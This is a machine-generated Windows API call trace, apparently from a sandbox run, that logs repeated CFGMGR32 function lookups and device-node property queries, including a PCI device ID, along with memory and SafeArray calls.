0x0 [0192.413] malloc (_Size=0x48) returned 0x196ef0fb720 [0192.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x538a1031, dwHighDateTime=0x1d9eb0c)) [0192.413] SetEvent (hEvent=0x248) returned 1 [0192.414] SetEvent (hEvent=0x248) returned 1 [0192.415] free (_Block=0x196ef0fb720) [0192.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.415] malloc (_Size=0x48) returned 0x196ef0fb860 [0192.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x538a1031, dwHighDateTime=0x1d9eb0c)) [0192.415] SetEvent (hEvent=0x248) returned 1 [0192.685] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.685] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.689] malloc (_Size=0x18) returned 0x196ef0d1e00 [0192.689] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.692] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0192.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53b50470, dwHighDateTime=0x1d9eb0c)) [0192.693] SetEvent (hEvent=0x248) returned 1 [0192.696] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.697] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.701] malloc (_Size=0x18) returned 0x196ef0d1d00 [0192.701] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x29, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0192.701] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0192.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x53b75a67, dwHighDateTime=0x1d9eb0c)) [0192.701] SetEvent (hEvent=0x248) returned 1 [0192.707] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.707] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.710] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0192.710] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x29, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0192.711] malloc (_Size=0x48) returned 0x196ef0fb540 [0192.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x53b75a67, dwHighDateTime=0x1d9eb0c)) [0192.711] SetEvent (hEvent=0x248) returned 1 [0192.716] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.716] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.716] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.719] malloc (_Size=0x18) returned 0x196ef0d1a80 [0192.719] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0192.720] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0192.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53b9d26d, dwHighDateTime=0x1d9eb0c)) [0192.720] SetEvent (hEvent=0x248) returned 1 [0192.726] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.726] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.919] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0192.919] CM_Get_Device_IDA (in: dnDevInst=0x2a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2668&SUBSYS_11001AF4&REV_01\\3&11583659&0&38") returned 0x0 [0192.920] malloc (_Size=0x48) returned 0x196ef0fb900 [0192.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x53d8bddc, dwHighDateTime=0x1d9eb0c)) [0192.920] SetEvent (hEvent=0x248) returned 1 [0192.923] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.923] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.926] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0192.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0192.927] malloc (_Size=0x124) returned 0x196ef0d6890 [0192.927] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0192.928] free (_Block=0x196ef0d6890) [0192.928] malloc (_Size=0x48) returned 0x196ef0fb310 [0192.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x53d8bddc, dwHighDateTime=0x1d9eb0c)) [0192.928] SetEvent (hEvent=0x248) returned 1 [0192.932] malloc (_Size=0x18) returned 0x196ef0d1d20 [0192.932] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.932] free (_Block=0x196ef0d1d20) [0192.932] malloc (_Size=0x18) returned 0x196ef0d19a0 [0192.932] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.932] free (_Block=0x196ef0d19a0) [0192.933] malloc (_Size=0x18) returned 0x196ef0d1a40 [0192.933] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.933] free (_Block=0x196ef0d1a40) [0192.933] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0192.933] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.933] free (_Block=0x196ef0d1ba0) [0192.933] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856960 [0192.933] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0192.933] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0192.933] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0192.933] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0192.933] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0192.933] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0192.933] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0192.934] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0192.934] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6500, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.934] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6508, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.934] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6510, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.935] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6518, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.936] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0192.936] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856960) returned 1 [0192.937] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.937] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.940] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0192.940] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0192.940] malloc (_Size=0x10e) returned 0x196ef0d6890 [0192.940] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0192.941] free (_Block=0x196ef0d6890) [0192.941] malloc (_Size=0x48) returned 0x196ef0fb950 [0192.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x53db1c79, dwHighDateTime=0x1d9eb0c)) [0192.942] SetEvent (hEvent=0x248) returned 1 [0192.944] malloc (_Size=0x18) returned 0x196ef0d1d00 [0192.944] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.944] free (_Block=0x196ef0d1d00) [0192.945] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0192.945] 